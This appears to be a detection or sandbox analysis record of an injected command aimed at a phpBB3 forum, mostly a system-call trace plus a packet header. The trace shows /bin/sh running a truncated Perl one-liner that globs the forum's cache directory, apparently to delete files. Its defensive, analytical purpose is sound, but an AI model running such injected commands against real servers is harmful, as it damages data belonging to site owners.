Culprit: wrtprimeq/inputprimehttp1312900351

Code: d1

SID: /var/www/phpbb3/cache/data_acl_options.php

PID: 

13171 brk(0)                            = 0x804a000
13171 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
13171 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fb8000
13171 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
13171 open("/etc/ld.so.cache", O_RDONLY) = 3
13171 fstat64(3, {st_dev=makedev(8, 1), st_ino=147158, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=120, st_size=53361, st_atime=2011/08/09-08:45:24, st_mtime=2011/04/11-17:02:34, st_ctime=2011/04/11-17:02:34}) = 0
13171 mmap2(NULL, 53361, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7faa000
13171 close(3)                          = 0
13171 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
13171 open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
13171 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512
13171 fstat64(3, {st_dev=makedev(8, 1), st_ino=114191, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=2680, st_size=1364388, st_atime=2011/08/09-08:45:24, st_mtime=2008/04/05-01:39:14, st_ctime=2008/11/07-12:35:24}) = 0
13171 mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e5b000
13171 mmap2(0xb7fa4000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7fa4000
13171 mmap2(0xb7fa7000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fa7000
13171 close(3)                          = 0
13171 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e5a000
13171 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e5a6b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
13171 mprotect(0xb7fa4000, 4096, PROT_READ) = 0
13171 munmap(0xb7faa000, 53361)         = 0
13171 mmap2(NULL, 1003520, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7d65000
13171 mmap2(NULL, 1003520, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7c70000
13171 fstat64(0, {st_dev=makedev(0, 5), st_ino=43451, st_mode=S_IFIFO|0600, st_nlink=1, st_uid=0, st_gid=0, st_blksize=1024, st_blocks=0, st_size=0, st_atime=2011/08/09-16:38:27, st_mtime=2011/08/09-16:38:27, st_ctime=2011/08/09-16:38:27}) = 0
13171 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fb7000
13171 read(0, "b97004b4b8974735914ab2bf762fbb3d"..., 1024) = 1024
13171 read(0, "22fc0408\n", 1024)       = 9
13171 execve("/bin/sh", ["/bin/sh", "-c", "perl -e \'@dfiles = </var/www/php"...], [0]) = 0
13171 brk(0)                            = 0x805e000
13171 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
13171 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fb8000
13171 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
13171 open("/etc/ld.so.cache", O_RDONLY) = 3
13171 fstat64(3, {st_dev=makedev(8, 1), st_ino=147158, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=120, st_size=53361, st_atime=2011/08/09-08:45:24, st_mtime=2011/04/11-17:02:34, st_ctime=2011/04/11-17:02:34}) = 0
13171 mmap2(NULL, 53361, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7faa000
13171 close(3)                          = 0
13171 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
13171 open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
13171 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512
13171 fstat64(3, {st_dev=makedev(8, 1), st_ino=114191, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=2680, st_size=1364388, st_atime=2011/08/09-08:45:24, st_mtime=2008/04/05-01:39:14, st_ctime=2008/11/07-12:35:24}) = 0
13171 mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e5b000
13171 mmap2(0xb7fa4000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7fa4000
13171 mmap2(0xb7fa7000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fa7000
13171 close(3)                          = 0
13171 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e5a000
13171 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e5a6b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
13171 mprotect(0xb7fa4000, 4096, PROT_READ) = 0
13171 munmap(0xb7faa000, 53361)         = 0
13171 getpid()                          = 13171
13171 rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_DFL}, 8) = 0
13171 geteuid32()                       = 1001
13171 getppid()                         = 13169
13171 brk(0)                            = 0x805e000
13171 brk(0x807f000)                    = 0x807f000
13171 getcwd("/home/mvella/workbench/dd/sandbox/execdir", 4096) = 42
13171 rt_sigaction(SIGINT, NULL, {SIG_DFL}, 8) = 0
13171 rt_sigaction(SIGINT, {0x8055a30, ~[RTMIN RT_1], 0}, NULL, 8) = 0
13171 rt_sigaction(SIGQUIT, NULL, {SIG_DFL}, 8) = 0
13171 rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0
13171 rt_sigaction(SIGTERM, NULL, {SIG_DFL}, 8) = 0
13171 rt_sigaction(SIGTERM, {SIG_DFL}, NULL, 8) = 0
13171 stat64("/usr/local/sbin/perl", 0xbfb8d75c) = -1 ENOENT (No such file or directory)
13171 stat64("/usr/local/bin/perl", 0xbfb8d75c) = -1 ENOENT (No such file or directory)
13171 stat64("/usr/sbin/perl", 0xbfb8d75c) = -1 ENOENT (No such file or directory)
13171 stat64("/usr/bin/perl", {st_dev=makedev(8, 1), st_ino=194387, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=2120, st_size=1080468, st_atime=2011/08/09-08:45:26, st_mtime=2007/11/27-12:08:11, st_ctime=2008/11/07-12:35:55}) = 0
13171 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0xb7e5a6f8) = 13172
13172 execve("/usr/bin/perl", ["perl", "-e", "@dfiles = </var/www/phpbb3/cache"...], ["PWD=/home/mvella/workbench/dd/sa"...]) = 0
13172 brk(0)                            = 0x8153000
13172 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
13172 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd2000
13172 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
13172 open("/etc/ld.so.cache", O_RDONLY) = 3
13172 fstat64(3, {st_dev=makedev(8, 1), st_ino=147158, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=120, st_size=53361, st_atime=2011/08/09-08:45:24, st_mtime=2011/04/11-17:02:34, st_ctime=2011/04/11-17:02:34}) = 0
13172 mmap2(NULL, 53361, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fc4000
13172 close(3)                          = 0
13172 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
13172 open("/lib/tls/i686/cmov/libdl.so.2", O_RDONLY) = 3
13172 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\n\0\000"..., 512) = 512
13172 fstat64(3, {st_dev=makedev(8, 1), st_ino=114197, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=24, st_size=9684, st_atime=2011/08/09-08:45:24, st_mtime=2008/04/05-01:39:15, st_ctime=2008/11/07-12:35:24}) = 0
13172 mmap2(NULL, 12412, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7fc0000
13172 mmap2(0xb7fc2000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1) = 0xb7fc2000
13172 close(3)                          = 0
13172 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
13172 open("/lib/tls/i686/cmov/libm.so.6", O_RDONLY) = 3
13172 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@4\0\000"..., 512) = 512
13172 fstat64(3, {st_dev=makedev(8, 1), st_ino=114199, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=304, st_size=149328, st_atime=2011/08/09-08:45:25, st_mtime=2008/04/05-01:39:15, st_ctime=2008/11/07-12:35:24}) = 0
13172 mmap2(NULL, 147584, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7f9b000
13172 mmap2(0xb7fbe000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x23) = 0xb7fbe000
13172 close(3)                          = 0
13172 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
13172 open("/lib/tls/i686/cmov/libpthread.so.0", O_RDONLY) = 3
13172 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20H\0\000"..., 512) = 512
13172 fstat64(3, {st_dev=makedev(8, 1), st_ino=114217, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=232, st_size=112354, st_atime=2011/08/09-08:45:24, st_mtime=2008/04/05-01:39:15, st_ctime=2008/11/07-12:35:24}) = 0
13172 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f9a000
13172 mmap2(NULL, 94688, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7f82000
13172 mmap2(0xb7f96000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13) = 0xb7f96000
13172 mmap2(0xb7f98000, 4576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f98000
13172 close(3)                          = 0
13172 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
13169 rt_sigprocmask(SIG_SETMASK, [],  <unfinished ...>
13172 open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY <unfinished ...>
13169 <... rt_sigprocmask resumed> NULL, 8) = 0
13172 <... open resumed> )              = 3
13169 rt_sigprocmask(SIG_BLOCK, [CHLD],  <unfinished ...>
13172 read(3,  <unfinished ...>
13169 <... rt_sigprocmask resumed> [], 8) = 0
13172 <... read resumed> "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512
13169 rt_sigprocmask(SIG_SETMASK, [],  <unfinished ...>
13172 fstat64(3,  <unfinished ...>
13169 <... rt_sigprocmask resumed> NULL, 8) = 0
13172 <... fstat64 resumed> {st_dev=makedev(8, 1), st_ino=114191, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=2680, st_size=1364388, st_atime=2011/08/09-08:45:24, st_mtime=2008/04/05-01:39:14, st_ctime=2008/11/07-12:35:24}) = 0
13169 rt_sigprocmask(SIG_BLOCK, [CHLD],  <unfinished ...>
13172 mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0 <unfinished ...>
13169 <... rt_sigprocmask resumed> [], 8) = 0
13172 <... mmap2 resumed> )             = 0xb7e33000
13169 rt_sigaction(SIGINT, {0x807f150, [], 0},  <unfinished ...>
13172 mmap2(0xb7f7c000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149 <unfinished ...>
13169 <... rt_sigaction resumed> {SIG_DFL}, 8) = 0
13172 <... mmap2 resumed> )             = 0xb7f7c000
13169 waitpid(-1,  <unfinished ...>
13172 mmap2(0xb7f7f000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f7f000
13172 close(3)                          = 0
13172 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
13172 open("/lib/tls/i686/cmov/libcrypt.so.1", O_RDONLY) = 3
13172 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\7\0"..., 512) = 512
13172 fstat64(3, {st_dev=makedev(8, 1), st_ino=114195, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=80, st_size=38300, st_atime=2011/08/09-08:45:26, st_mtime=2008/04/05-01:39:15, st_ctime=2008/11/07-12:35:24}) = 0
13172 mmap2(NULL, 201052, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e01000
13172 mmap2(0xb7e0a000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x8) = 0xb7e0a000
13172 mmap2(0xb7e0c000, 155996, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7e0c000
13172 close(3)                          = 0
13172 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e00000
13172 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e008c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
13172 mprotect(0xb7f7c000, 4096, PROT_READ) = 0
13172 munmap(0xb7fc4000, 53361)         = 0
13172 set_tid_address(0xb7e00908)       = 13172
13172 set_robust_list(0xb7e00910, 0xc)  = 0
13172 futex(0xbfa79820, 0x81 /* FUTEX_??? */, 1) = 0
13172 rt_sigaction(SIGRTMIN, {0xb7f862c0, [], SA_SIGINFO}, NULL, 8) = 0
13172 rt_sigaction(SIGRT_1, {0xb7f86340, [], SA_RESTART|SA_SIGINFO}, NULL, 8) = 0
13172 rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
13172 getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
13172 uname({sysname="Linux", nodename="mvella-desktop2", release="2.6.24-16-generic", version="#1 SMP Thu Apr 10 13:23:42 UTC 2008", machine="i686"}) = 0
13172 rt_sigaction(SIGFPE, {SIG_IGN}, {SIG_IGN}, 8) = 0
13172 brk(0)                            = 0x8153000
13172 brk(0x8174000)                    = 0x8174000
13172 getuid32()                        = 1001
13172 geteuid32()                       = 1001
13172 getgid32()                        = 1001
13172 getegid32()                       = 1001
13172 mmap2(NULL, 135168, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ddf000
13172 open("/dev/urandom", O_RDONLY|O_LARGEFILE) = 3
13172 read(3, "my\25n", 4)              = 4
13172 close(3)                          = 0
13172 time(NULL)                        = 1312900707
13172 stat64("/usr/local/lib/site_perl/5.8.8/i486-linux-gnu-thread-multi", 0xbfa794f0) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/site_perl/5.8.8", 0xbfa794f0) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/site_perl/i486-linux-gnu-thread-multi", 0xbfa794f0) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.7", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.7", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.6", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.6", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.4", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.4", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.3", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.3", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.2", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.2",  <unfinished ...>
13171 wait4(-1,  <unfinished ...>
13172 <... stat64 resumed> 0xbfa79630)  = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.1", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.1", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.0", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.0", 0xbfa79630) = -1 ENOENT (No such file or directory)
13172 ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfa79328) = -1 EINVAL (Invalid argument)
13172 _llseek(0, 0, 0xbfa79370, SEEK_CUR) = -1 ESPIPE (Illegal seek)
13172 ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfa79328) = -1 ENOTTY (Inappropriate ioctl for device)
13172 _llseek(1, 0, [0], SEEK_CUR)      = 0
13172 ioctl(2, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfa79328) = -1 ENOTTY (Inappropriate ioctl for device)
13172 _llseek(2, 0, [0], SEEK_CUR)      = 0
13172 open("/dev/null", O_RDONLY|O_LARGEFILE) = 3
13172 ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfa793e8) = -1 ENOTTY (Inappropriate ioctl for device)
13172 _llseek(3, 0, [0], SEEK_CUR)      = 0
13172 fcntl64(3, F_SETFD, FD_CLOEXEC)   = 0
13172 fstat64(3, {st_dev=makedev(0, 14), st_ino=6174, st_mode=S_IFCHR|0666, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=0, st_rdev=makedev(1, 3), st_atime=2008/04/22-20:39:21, st_mtime=2008/04/22-20:39:21, st_ctime=2011/08/09-16:03:26}) = 0
13172 rt_sigaction(SIGCHLD, NULL, {SIG_DFL}, 8) = 0
13172 readlink("/proc/self/exe", "/usr/bin/perl", 4095) = 13
13172 getppid()                         = 13171
13172 stat64("/etc/perl/File/Glob.pmc", 0xbfa7900c) = -1 ENOENT (No such file or directory)
13172 stat64("/etc/perl/File/Glob.pm", 0xbfa78f1c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.8/File/Glob.pmc", 0xbfa7900c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.8/File/Glob.pm", 0xbfa78f1c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.8/File/Glob.pmc", 0xbfa7900c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.8/File/Glob.pm", 0xbfa78f1c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl5/File/Glob.pmc", 0xbfa7900c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl5/File/Glob.pm", 0xbfa78f1c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/share/perl5/File/Glob.pmc", 0xbfa7900c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/share/perl5/File/Glob.pm", 0xbfa78f1c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl/5.8/File/Glob.pmc", 0xbfa7900c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl/5.8/File/Glob.pm", {st_dev=makedev(8, 1), st_ino=252387, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4080, st_atime=2011/08/09-08:51:37, st_mtime=2007/11/27-12:08:08, st_ctime=2008/11/07-12:40:16}) = 0
13172 open("/usr/lib/perl/5.8/File/Glob.pm", O_RDONLY|O_LARGEFILE) = 4
13172 ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfa78d28) = -1 ENOTTY (Inappropriate ioctl for device)
13172 _llseek(4, 0, [0], SEEK_CUR)      = 0
13172 read(4, "package File::Glob;\n\nuse strict;"..., 4096) = 4080
13172 stat64("/etc/perl/strict.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/etc/perl/strict.pm", 0xbfa78a6c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.8/strict.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.8/strict.pm", 0xbfa78a6c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.8/strict.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.8/strict.pm", 0xbfa78a6c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl5/strict.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl5/strict.pm", 0xbfa78a6c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/share/perl5/strict.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/share/perl5/strict.pm", 0xbfa78a6c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl/5.8/strict.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl/5.8/strict.pm", 0xbfa78a6c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/share/perl/5.8/strict.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/share/perl/5.8/strict.pm", {st_dev=makedev(8, 1), st_ino=99281, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=599, st_atime=2011/08/09-08:51:37, st_mtime=2007/11/27-12:08:08, st_ctime=2008/11/07-12:48:26}) = 0
13172 open("/usr/share/perl/5.8/strict.pm", O_RDONLY|O_LARGEFILE) = 5
13172 ioctl(5, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfa78878) = -1 ENOTTY (Inappropriate ioctl for device)
13172 _llseek(5, 0, [0], SEEK_CUR)      = 0
13172 brk(0x8195000)                    = 0x8195000
13172 read(5, "package strict;\n\n$strict::VERSIO"..., 4096) = 599
13172 _llseek(5, 598, [598], SEEK_SET)  = 0
13172 _llseek(5, 0, [598], SEEK_CUR)    = 0
13172 close(5)                          = 0
13172 stat64("/etc/perl/XSLoader.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/etc/perl/XSLoader.pm", 0xbfa78a6c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.8/XSLoader.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/lib/perl/5.8.8/XSLoader.pm", 0xbfa78a6c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.8/XSLoader.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/local/share/perl/5.8.8/XSLoader.pm", 0xbfa78a6c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl5/XSLoader.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl5/XSLoader.pm", 0xbfa78a6c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/share/perl5/XSLoader.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/share/perl5/XSLoader.pm", 0xbfa78a6c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl/5.8/XSLoader.pmc", 0xbfa78b5c) = -1 ENOENT (No such file or directory)
13172 stat64("/usr/lib/perl/5.8/XSLoader.pm", {st_dev=makedev(8, 1), st_ino=252264, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=3408, st_atime=2011/08/09-08:51:37, st_mtime=2007/11/27-12:08:08, st_ctime=2008/11/07-12:40:15}) = 0
13172 open("/usr/lib/perl/5.8/XSLoader.pm", O_RDONLY|O_LARGEFILE) = 5
13172 ioctl(5, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfa78878) = -1 ENOTTY (Inappropriate ioctl for device)
13172 _llseek(5, 0, [0], SEEK_CUR)      = 0
13172 read(5, "# Generated from XSLoader.pm.PL "..., 4096) = 3408
13172 _llseek(5, 3407, [3407], SEEK_SET) = 0
13172 _llseek(5, 0, [3407], SEEK_CUR)   = 0
13172 close(5)                          = 0
13172 _llseek(4, 4079, [4079], SEEK_SET) = 0
13172 _llseek(4, 0, [4079], SEEK_CUR)   = 0
13172 close(4)                          = 0
13172 stat64("/usr/lib/perl/5.8/auto/File/Glob/Glob.so", {st_dev=makedev(8, 1), st_ino=258098, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=40, st_size=18008, st_atime=2011/08/09-08:51:37, st_mtime=2007/11/27-12:08:11, st_ctime=2008/11/07-12:40:17}) = 0
13172 stat64("/usr/lib/perl/5.8/auto/File/Glob/Glob.bs", {st_dev=makedev(8, 1), st_ino=258097, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=0, st_size=0, st_atime=2007/11/27-12:07:35, st_mtime=2007/11/27-12:07:35, st_ctime=2008/11/07-12:40:17}) = 0
13172 futex(0xb7fc3070, 0x81 /* FUTEX_??? */, 2147483647) = 0
13172 open("/usr/lib/perl/5.8/auto/File/Glob/Glob.so", O_RDONLY) = 4
13172 read(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`\22\0\000"..., 512) = 512
13172 fstat64(4, {st_dev=makedev(8, 1), st_ino=258098, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=40, st_size=18008, st_atime=2011/08/09-08:51:37, st_mtime=2007/11/27-12:08:11, st_ctime=2008/11/07-12:40:17}) = 0
13172 mmap2(NULL, 16880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7fcd000
13172 mmap2(0xb7fd1000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x4) = 0xb7fd1000
13172 close(4)                          = 0
13172 close(3)                          = 0
13172 open("/var/www/phpbb3/cache/", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|0x80000) = -1 ENOENT (No such file or directory)
13172 exit_group(0)                     = ?
13171 <... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 13172
13171 --- SIGCHLD (Child exited) @ 0 (0) ---
13171 exit_group(0)                     = ?
13169 <... waitpid resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0) = 13171
13169 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
13169 --- SIGCHLD (Child exited) @ 0 (0) ---
13169 waitpid(-1, 0xbff49ce8, WNOHANG)  = -1 ECHILD (No child processes)
13169 sigreturn()                       = ? (mask now [])
13169 rt_sigaction(SIGINT, {SIG_DFL}, {0x807f150, [], 0}, 8) = 0
13169 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
13169 read(0, "", 1)                    = 0
13169 exit_group(0)                     = ?


Match: /var/www/phpbb3/cache/

Packet: <packet>
  <proto name="geninfo" pos="0" showname="General information" size="1302">
    <field name="num" pos="0" show="1248" showname="Number" value="4e0" size="1302"/>
    <field name="len" pos="0" show="1302" showname="Packet Length" value="516" size="1302"/>
    <field name="caplen" pos="0" show="1302" showname="Captured Length" value="516" size="1302"/>
    <field name="timestamp" pos="0" show="Aug  9, 2011 16:38:13.084632000" showname="Captured Time" value="1312900693.084632000" size="1302"/>
  </proto>
